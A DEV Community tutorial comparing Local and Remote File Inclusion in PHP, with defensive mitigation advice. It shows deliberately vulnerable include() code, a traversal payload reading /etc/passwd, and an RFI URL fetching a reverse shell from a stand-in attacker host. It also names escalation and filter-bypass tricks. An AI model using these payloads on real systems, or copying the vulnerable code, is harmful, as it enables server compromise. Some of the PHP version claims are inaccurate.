DEV Community

Andrew
Andrew

Posted on

LFI vs RFI: Key Differences, Examples, and Prevention Best Practices for 2026

#cybersecurity #tutorial #webdev #security

If you’ve ever worked on web application security, you’ve almost certainly heard of file inclusion vulnerabilities. Even in 2026, these flaws rank among the most common web attack vectors, consistently appearing in OWASP Top 10 assessments and vulnerability disclosure reports. While Local File Inclusion (LFI) and Remote File Inclusion (RFI) are often lumped together, they have distinct attack paths, severity levels, and mitigation requirements. Confusing the two can lead to incomplete defenses and avoidable breaches.

This guide breaks down the exact difference between RFI and LFI, includes real-world examples, and shares actionable prevention tips for developers, security engineers, and bug bounty hunters.

Table of Contents

  1. What Are File Inclusion Vulnerabilities?
  2. What is Local File Inclusion (LFI)?
  3. What is Remote File Inclusion (RFI)?
  4. LFI vs RFI: Key Differences At a Glance
  5. Real-World LFI and RFI CVE Examples
  6. LFI and RFI Prevention Best Practices
  7. The State of LFI and RFI Attacks in 2026
  8. Conclusion
  9. References

What Are File Inclusion Vulnerabilities?

File inclusion vulnerabilities are a class of web security flaws that let attackers inject files into a web application’s server-side execution flow. They primarily affect server-side scripting languages like PHP, JSP, and SSI, and occur when user-controlled input (URL parameters, cookies, form fields) is used to dynamically build file paths or URLs without proper validation or sanitization.

These vulnerabilities are formally classified as:

  • CAPEC-193 (Remote File Inclusion)
  • CWE-98 (PHP File Inclusion)
  • WASC-5 (File Inclusion)
  • OWASP Top 10 2021: A01:2021 – Broken Access Control

What is Local File Inclusion (LFI)?

Local File Inclusion (LFI) is a vulnerability that allows an attacker to read, and in some cases execute, files that already exist on the target web server. Attackers exploit LFI by manipulating user input to navigate outside the intended application directory using directory traversal sequences like ../.

How LFI Works

  1. Vulnerability identification: The attacker locates a user-controlled parameter that is passed to a file inclusion function (e.g., include(), require() in PHP).
  2. Input manipulation: The attacker crafts input with directory traversal sequences to break out of the intended file directory.
  3. File inclusion: The server processes the malicious input and loads the targeted local file.
  4. Impact: Sensitive data is exposed, or the attacker escalates the flaw to remote code execution (RCE).

LFI Code Example & Attack Payload

Below is an example of vulnerable PHP code that loads user profile files dynamically:

<?php
// Vulnerable code: no input validation
$user_profile = $_GET['profile'];
include($user_profile . '.html');
?>
Enter fullscreen mode Exit fullscreen mode

An attacker can exploit this code with the following payload to read the Linux /etc/passwd file, which stores system user accounts:

http://example.com/view-profile.php?profile=../../../../etc/passwd
Enter fullscreen mode Exit fullscreen mode

The ../ sequences navigate up four directories from the application’s default template folder to reach the root filesystem, then load the /etc/passwd file.

Common LFI Targets

Attackers typically target the following files when exploiting LFI:

  • Linux: /etc/passwd, /etc/shadow (password hashes), /proc/self/environ (environment variables), /var/log/apache2/access.log (web server logs)
  • Windows: C:\Windows\System32\drivers\etc\hosts, C:\Windows\repair\SAM (password hashes)
  • Application-specific files: Configuration files with database credentials, user session data

Escalating LFI to Remote Code Execution

While LFI is often first used for information disclosure, it can be escalated to full RCE using the following techniques:

  1. Log poisoning: Inject malicious PHP code into web server logs (e.g., via the User-Agent header) then include the log file to execute the code.
  2. PHP filter wrappers: Use php://filter or php://input to inject and execute arbitrary code.
  3. Session file inclusion: Inject code into user session files then include the session file path via LFI.
  4. Uploaded file inclusion: If the app allows file uploads, upload a malicious script then include its local path via LFI.

What is Remote File Inclusion (RFI)?

Remote File Inclusion (RFI) is a more severe vulnerability that lets an attacker force the application to load and execute arbitrary code files hosted on an external, attacker-controlled server. Unlike LFI, RFI enables direct RCE without additional escalation steps in most cases.

How RFI Works

  1. Vulnerability identification: The attacker finds a user-controlled parameter passed to a file inclusion function that accepts external URLs.
  2. Malicious file hosting: The attacker hosts a malicious script (e.g., a PHP reverse shell) on a server they control.
  3. Payload injection: The attacker crafts a request with the URL of their malicious script as the parameter value.
  4. Code execution: The target server fetches the remote file and executes its code, giving the attacker full control of the server.

RFI Code Example & Attack Payload

Below is an example of vulnerable PHP code that loads dynamic modules:

<?php
// Vulnerable code: no input validation, accepts URLs
$module = $_GET["module"];
include $module;
?>
Enter fullscreen mode Exit fullscreen mode

An attacker can exploit this with the following payload to run a reverse shell:

http://example.com/index.php?module=http://attacker.example.com/php-reverse-shell.php
Enter fullscreen mode Exit fullscreen mode

The target server will fetch the malicious reverse shell script from the attacker’s server and execute it, opening a direct connection back to the attacker.

RFI PHP Configuration Requirements

RFI is almost exclusively a PHP-specific vulnerability, and it only works if two PHP configuration settings are enabled:

  1. allow_url_fopen = On: Allows PHP to fetch files from remote servers
  2. allow_url_include = On: Allows remote files to be used in include()/require() functions

Important note: allow_url_include has been deprecated since PHP 7.4.0 (November 2019) and is disabled by default in all PHP versions since PHP 5.0.

LFI vs RFI: Key Differences At a Glance

The table below summarizes the core differences between RFI and LFI:
| Aspect | LFI | RFI |
|--------|-----|-----|
| File source | Local files stored on the target server | Remote files hosted on external attacker-controlled servers |
| Primary attack vector | Directory traversal (../) sequences to navigate the local filesystem | URL injection pointing to a malicious remote file |
| Code execution capability | Limited: Requires escalation via log poisoning, file uploads, or PHP wrappers | Direct: Immediate RCE when the malicious remote file is loaded |
| Language scope | Affects all web programming languages that support dynamic file inclusion | Almost exclusively PHP, requires specific configuration |
| Prevalence (2026) | Very common across all web languages and frameworks | Rare: Declining due to PHP deprecation of remote inclusion |
| Severity | High (sensitive data disclosure, potential RCE) | Very High (immediate, unauthenticated RCE) |
| PHP configuration dependency | No special configuration required | Requires allow_url_include = On and allow_url_fopen = On |

Real-World LFI and RFI CVE Examples

File inclusion vulnerabilities have affected thousands of popular web applications over the years, including core CMS platforms and widely used plugins:

  1. CVE-2018-16283: The WordPress Wechat Broadcast plugin v1.2.0 contained an unauthenticated RFI vulnerability that let attackers execute arbitrary code on sites running the plugin. Over 10,000 sites were affected at the time of disclosure.
  2. CVE-2014-7228: Joomla core had RFI vulnerabilities in versions 2.5.4 through 2.5.25, 3.2.5 and earlier, and 3.3.0 through 3.3.4. The flaw affected millions of Joomla sites globally.
  3. Ongoing WordPress plugin vulnerabilities: LFI vulnerabilities continue to be discovered in WordPress plugins on a regular basis, with security researchers disclosing new flaws each year across popular plugins and themes.

LFI and RFI Prevention Best Practices

Mitigation steps for LFI and RFI differ significantly, so use the targeted practices below to secure your applications.

LFI Mitigation Tips

  1. Avoid user-controlled file inclusion entirely: Where possible, hardcode file paths instead of using dynamic input to select files.
  2. Use a whitelist approach: If dynamic inclusion is required, only allow predefined, approved file names, and map user input to these files instead of passing input directly to file paths. For example, ?page=home maps to /var/www/templates/home.html with no user input touching the file path string.
  3. Use absolute paths: Always use absolute file paths instead of relative paths to limit directory traversal impact.
  4. Restrict filesystem access: Run the web server user with the least possible privilege, and use chroot jails or open_basedir restrictions to limit the web server to only the application directory.
  5. Sanitize input carefully: Never rely on blacklisting ../ sequences, as these can be bypassed with URL encoding (e.g., %2e%2e%2f) or obfuscation (e.g., ....//).

RFI Mitigation Tips

  1. Disable allow_url_include: This is the single most effective RFI mitigation, and it is disabled by default in all modern PHP versions. Never enable this setting unless it is absolutely required.
  2. Disable allow_url_fopen: If your application does not need to fetch remote files, disable this setting entirely to block remote file access.
  3. Upgrade to modern PHP versions: PHP 7.4+ deprecated allow_url_include, so upgrading eliminates RFI risk entirely for most use cases.
  4. Whitelist remote sources: If you must include remote files, only allow URLs from preapproved, trusted domains, and validate all input against this whitelist.

General File Inclusion Security Best Practices

  1. Use modern web frameworks: Laravel, Django, and Spring all have built-in protections against file inclusion vulnerabilities, and prevent unsafe dynamic file inclusion by default.
  2. Implement a Web Application Firewall (WAF): WAFs can detect and block most common LFI and RFI payloads, including obfuscated attacks.
  3. Conduct regular security testing: Use DAST (Dynamic Application Security Testing) tools to scan for file inclusion flaws, and conduct manual code reviews of all code that uses include(), require(), or equivalent functions.
  4. Apply patches promptly: Keep CMS platforms, plugins, and dependencies up to date to patch disclosed file inclusion vulnerabilities.

The State of LFI and RFI Attacks in 2026

As of 2026, RFI vulnerabilities are increasingly rare: the vast majority of production PHP apps now run PHP 7.4 or later, where allow_url_include is deprecated and disabled by default. The only remaining targets for RFI are legacy PHP 5.x and 7.0-7.3 apps that have not updated their configuration or PHP version.

LFI, by contrast, remains a widespread threat across all web development languages. Even modern framework-based apps can have LFI flaws if developers bypass built-in protections to implement custom dynamic file loading functionality. Legacy applications remain the highest risk, but even new apps are frequently found to have LFI vulnerabilities due to poor input validation practices.

Conclusion

The core difference between RFI and LFI comes down to file source and severity:

  • LFI lets attackers access local files on the target server, requires escalation for RCE, and is common across all web languages.
  • RFI lets attackers load remote malicious files, enables direct RCE, and is now rare due to PHP configuration changes.

By understanding these differences, you can implement targeted defenses to protect your applications. The most effective mitigation for both flaws is to avoid using user-controlled input in file inclusion functions entirely, but if you must use dynamic inclusion, always use a whitelist approach and never rely on blacklist-based sanitization.

References

  1. OWASP Web Security Testing Guide: Testing for File Inclusion
  2. Invicti: Remote File Inclusion (RFI) Guide
  3. Indusface: File Inclusion Attacks (LFI/RFI) Guide
  4. PayloadsAllTheThings: File Inclusion Payload Reference
  5. OffSec Metasploit Unleashed: File Inclusion Vulnerabilities
  6. PowerWAF: Local File Inclusion (LFI) Guide
  7. PowerWAF: Remote File Inclusion (RFI) Guide

Top comments (0)